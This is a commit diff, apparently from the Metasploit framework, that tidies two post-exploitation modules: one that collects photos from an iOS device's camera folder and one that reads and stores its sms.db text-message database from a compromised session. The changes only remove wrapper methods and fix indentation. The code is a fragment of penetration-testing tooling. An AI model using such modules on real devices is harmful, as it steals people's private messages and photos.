remove useless method wrappers, fix indentation
parent
4a8c1ef8f4
commit
0d8c8da470
|
@ -21,10 +21,6 @@ class MetasploitModule < Msf::Post
|
|||
))
|
||||
end
|
||||
|
||||
def check_for_img_path(f_path)
|
||||
directory?(f_path)
|
||||
end
|
||||
|
||||
def enum_img(f_path)
|
||||
path = File.join(Msf::Config.loot_directory, Rex::Text.rand_text_alpha(6))
|
||||
local_path = File.expand_path(path)
|
||||
|
@ -45,7 +41,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def run
|
||||
img_path = '/private/var/mobile/Media/DCIM/100APPLE'
|
||||
unless check_for_img_path(img_path)
|
||||
unless directory?(img_path)
|
||||
fail_with(Failure::NotFound, "Could not find the default image file path")
|
||||
end
|
||||
print_good('Image path found. Will begin searching for images...')
|
||||
|
|
|
@ -21,21 +21,17 @@ class MetasploitModule < Msf::Post
|
|||
))
|
||||
end
|
||||
|
||||
def check_for_sms_file(file_path)
|
||||
file?(file_path)
|
||||
end
|
||||
|
||||
def download_text_db(file_path)
|
||||
db_file_data = read_file(file_path)
|
||||
loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db')
|
||||
print_good("sms.db stored at #{loc}")
|
||||
rescue
|
||||
fail_with(Failure::NoAccess, "Failed to read sms.db file")
|
||||
rescue
|
||||
fail_with(Failure::NoAccess, "Failed to read sms.db file")
|
||||
end
|
||||
|
||||
def run
|
||||
sms_path = '/private/var/mobile/Library/SMS/sms.db'
|
||||
unless check_for_sms_file(sms_path)
|
||||
unless file?(sms_path)
|
||||
fail_with(Failure::NotFound, "Couldn't locate sms.db file")
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue